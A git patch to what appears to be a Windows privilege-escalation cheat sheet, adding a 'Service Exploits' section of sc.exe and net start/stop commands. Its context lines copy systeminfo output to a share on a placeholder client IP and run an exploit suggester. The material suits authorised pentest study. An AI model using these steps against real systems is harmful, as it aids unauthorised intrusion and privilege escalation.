From 0a277cf6216263c67c3e972163201a4100f345d5 Mon Sep 17 00:00:00 2001 From: Joe Totes <59018247+Totes5706@users.noreply.github.com> Date: Fri, 2 Sep 2022 20:18:39 -0400 Subject: [PATCH] Update README.md --- README.md | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index cbb4ec7..4279e8a 100644 --- a/README.md +++ b/README.md @@ -674,11 +674,24 @@ systeminfo > \\{Client IP ADDRESS}\systeminfo.txt # Use Windows exploit suggestor to find availble kernel exploit python wes.py systeminfo.txt -i 'Elevation of Privilege' --exploits-only | less - - ``` +#### Service Exploits +```bash +# Query the configuration of a service: +sc.exe qc {NAME} + +# Query the current status of a service: +sc.exe query {NAME} + +# Modify a configuration option of a service: +sc.exe config {NAME} {OPTION}= {VALUE} + +Start/Stop a service: +net start {NAME} +net stop {NAME} +```